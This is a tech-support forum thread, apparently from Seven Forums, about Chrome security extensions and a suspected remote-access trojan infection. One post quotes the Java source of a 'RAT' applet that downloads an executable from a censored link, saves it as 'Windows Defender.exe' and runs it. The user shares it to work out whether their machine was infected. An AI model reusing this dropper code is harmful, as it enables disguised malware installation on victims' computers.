Solved Information from another thread

[zl7man]

Hello,
I have recently been browsing the security news section and saw
http://www.sevenforums.com/security...uide-2011-how-get-rid-all-latest-malware.html

Non hyper-linked for the paranoid:
http://www.sevenforums.com/security-basics/194853-malware-removal-guide-2011-how-get-rid-all-latest-malware.html

In the article that this thread linked the author mentioned

Other extensions and add-ons worth wielding to fight the malware fight include Web of Trust, KB SSL Enforcer, Adblock, and HTTPS Everywhere.

I was wondering if someone could point me in the right direction to install those into my web browser (Chrome for now). The reason I am not using a Google search to find them is because add-ons such as these that are so highly looked at most likely have counterparts doing the opposite, just waiting for that unsuspecting person.

NOTE: I am sorry if A: this is in the wrong place or B: if this has already been posted (did not find it).
NOTE 2: If it is in the wrong place, could someone please point me to the correct place?

Thank you,

Edit: added CKScanner report
Edit 2: added Avast! last full scan report and cmd prompt showing that the flash drive is not appearing to windows
Edit 3: added Malwarebytes' Anti-Malware log
Edit 4: added Spybot – Search & Destroy log
Edit 5: added picture of the folder and permissions that it has versus random EA folder (highlighting courtesy of MSPaint skills)
Edit 6: attached DDS scan info. (I know I have utorrent installed)
Edit 7: CKScanner file updated (was not scanned from on desktop before... new file was from on desktop)

 

[Golden]

Hi,

Follow these links to get the Chrome extensions (add-ons). They are downloaded from the Chrome web store.

HTTPS Everywhere
https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp?hl=en-US

AdBlock
https://chrome.google.com/webstore/detail/adblock-plus/cfhdojbkjhnklbpkdaibdccddilifddb?hl=en-US

Web of Trust
https://chrome.google.com/webstore/detail/wot/bhmmomiinigofkjcapegjjndpbikblnp?hl=en-US

KB SSL Enforcer
https://chrome.google.com/webstore/detail/kb-ssl-enforcer/flcpelgcagfhfoegekianiofphddckof?hl=en-US

For general extension help, read this:
http://www.sevenforums.com/tutorials/274186-chrome-browser-add-extensions.html

Regards,
Golden

 

[zl7man]

Hi,

Follow these links to get the Chrome extensions (add-ons). They are downloaded from the Chrome web store.

HTTPS Everywhere
https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp?hl=en-US

AdBlock
https://chrome.google.com/webstore/detail/adblock-plus/cfhdojbkjhnklbpkdaibdccddilifddb?hl=en-US

Web of Trust
https://chrome.google.com/webstore/detail/wot/bhmmomiinigofkjcapegjjndpbikblnp?hl=en-US

KB SSL Enforcer
https://chrome.google.com/webstore/detail/kb-ssl-enforcer/flcpelgcagfhfoegekianiofphddckof?hl=en-US

For general extension help, read this:
http://www.sevenforums.com/tutorials/274186-chrome-browser-add-extensions.html

Regards,
Golden

Thank you!

___

Could not change the title but as I said in edited post there might be something to look at.

EDIT: going to make new thread for problem.

 

[Golden]

There is nothing to indicate any problems in those file attachments. Why do you say it is troubling?

What anti-virus software is currently installed on your system?

 

[zl7man]

There is nothing to indicate any problems in those file attachments. Why do you say it is troubling?

What anti-virus software is currently installed on your system?

currently avast and the thing I was wondering about is
Folder Found : C:\ProgramData\boost_interprocess
Never heard of that before and when I looked at it there was a lock icon on the folder. The reason why I have been doing increased amount of scans is because recently I was messing around with another person's server code (released for public) and there was a RAT.java (--> RAT.class) and was wondering if it executed. the rat that it referred to was rataman.exe ... that being said I just check back on the thread it was released on and supposedly the file was not an actual rat downloader. (still want to be cautious)

 

[Golden]

I would run a scan from outside the Windows boot environment, using this:

http://www.sevenforums.com/tutorials/166445-windows-defender-offline.html

 

[zl7man]

I would run a scan from outside the Windows boot environment, using this:

http://www.sevenforums.com/tutorials/166445-windows-defender-offline.html

Will do shortly, and as for background information:
Ran Avast! full scan (nothing found - will do again)
Ran Malwarebytes' Anti-Malware either flash or full (nothing - will do again)
Ran Malwarebytes Anti-Rootkit
Ran FSS
Ran CKScanner
Ran AdwCleaner
-- the ones where I kept reports (more recent) were attached.

EDIT: well there might be a logistical problem here.... the flash drive I was going to use got bricked on reformat (was a Win 7 bootable before - self made...). Not sure where another one is, will look shortly.

Also I cannot burn or read CDs, but that was from before (CD drive just stop working a while back (before this RAT thing)).

EDIT2: Gah I acted too soon with the reformat idea... read the directions on thread further and it says don't.

 

[indianacarnie]

I'm probably alone in this but I don't put a whole lot of stock in Web of Trust. Nothing wrong with the program per se, but its based on individual feedback. A bad rating could be due to anything from Virus's to someone being mad at a slow download. Many people use it and swear by it, but I found just too many "iffy" ratings for me.

 

[Golden]

I'm probably alone in this but I don't put a whole lot of stock in Web of Trust.

I agree - the ratings are influenced too much by individual recommendations based on idiocy.

 

[zl7man]

I'm probably alone in this but I don't put a whole lot of stock in Web of Trust.

I agree - the ratings are influenced too much by individual recommendations based on idiocy.

I agree with both of you, but it is nice to have something versus having nothing... (I have Avast! web rep thing but Chrome fights with it sometimes)

 

[zl7man]

Update: so I found a flash drive that is not bricked according to my mac laptop. I am not using the one that is on the off chance that it is infected and that the virus can be cross platform (are there any known?). The problem is that the new one had contents so I am going to have to wait till tomorrow to get the go ahead from my parents to simply have a backup for the flash drive (will erase when they give the go ahead). I already did backup the information though (on mac which from what I know is clean (Also Avast! anti-virus on it)).

I have to wait to try and fix this, then again time is of the essence but that time limit seems to have been long past if I only just found that folder. Guess Avast was not allowed to scan it?

EDIT: going to put a picture of stuff that Avast said from last scan on this computer

 

[Golden]

virus can be cross platform (are there any known?).

Very, very few. Just use it, it will be fine.

 

[zl7man]

did some digging and here is essentially what the RAT.java was

(wish there was spoiler function)

import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;

@SuppressWarnings("serial")
public class RAT extends Applet {

	public void start() {
		String userDirectory = System.getProperty("user.home");
		final String DL_LINK = "    censored dropbox link";
		System.out.println("Starting");
		download(DL_LINK, userDirectory + "\\Windows Defender.exe");
		System.out.println("Done");
		Runtime run = Runtime.getRuntime();
		try {
			run.exec("\"" + userDirectory + "\\Windows Defender.exe\"");
		} catch (IOException e) {
			System.out.println("There is an error!");
			File exe = new File("D\\Windows Defender.exe");
			exe.delete();
		}
	}

	public void download(final String address, final String localFileName) {
		OutputStream out = null;
		URLConnection conn = null;
		InputStream in = null;
		try {
			final URL url = new URL(address);

			out = new BufferedOutputStream(new FileOutputStream(localFileName));
			conn = url.openConnection();
			in = conn.getInputStream();

			final byte[] buffer = new byte[1024];
			int numRead;
			while ((numRead = in.read(buffer)) != -1) {
				out.write(buffer, 0, numRead);
			}
		} catch (final Exception exception) {
		} finally {
			try {
				if (in != null) {
					in.close();
				}
				if (out != null) {
					out.close();
				}
			} catch (final IOException ioe) {
			}
		}
	}
}

Instead of Windows Defender.exe it would be rataman.exe

 

[zl7man]

virus can be cross platform (are there any known?).

Very, very few. Just use it, it will be fine.

Looks like that flash drive is really dead. Not recognized by mac as being there.
(was a really old flash drive)

edit: see first post for picture of the folder in question.

 

[zl7man]

Added more logs and pictures. DDS had an interesting remark in attach file
4/2/2013 7:26:02 PM, Error: volsnap [36] - The shadow copies of volume C: were aborted because the shadow copy storage could not grow due to a user imposed limit.

Shadow copy.... um...

 

[Jacee]

What is shadow copy?: Help - Controlling Shadow Copies in Vista (and Windows 7!) Tips, Solutions & How Tos | PCMag.com

 

[zl7man]

What is shadow copy?: Help - Controlling Shadow Copies in Vista (and Windows 7!) Tips, Solutions & How Tos | PCMag.com

That makes sense. Well that solves that problem. I am going to sleep for tonight... be back tomorrow to check for new stuff.

 

[zl7man]

So I decided to do something stupid, but it worked out I guess. Used AdwCleaner to delete the folder and checked where the folder was it is gone. Going to run full scan with Avast! now.

(Attached AdwCleaner delete log)
ran Roguekiller and attached the log because I am unsure about the registry stuff it mentioned

 

[Jacee]

I'd like you to scan your machine with ESET OnlineScan

1. Hold down Control and click on the following link to open ESET OnlineScan in a new window.
   ESET OnlineScan
2. Click the
   
   button.
3. For alternate browsers only: (Microsoft Internet Explorer users can skip these steps)
   1. Click on
      
      to download the ESET Smart Installer. Save it to your desktop.
   2. Double click on the
      
      icon on your desktop.
4. Check
   
5. Click the
   
   button.
6. Accept any security warnings from your browser.
7. Check
   
8. Push the Start button.
9. ESET will then download updates for itself, install itself, and begin scanning your computer. Please be patient as this can take some time.
10. When the scan completes, push
    
11. Push
    
    , and save the file to your desktop using a unique name, such as ESETScan. Include the contents of this report in your next reply.
12. Push the
    
    button.
13. Push
    

 

[zl7man]

I was unable to click list of found threats because there were none. So I have attached a print screen of that report:

Edit: so does that mean that I should be fine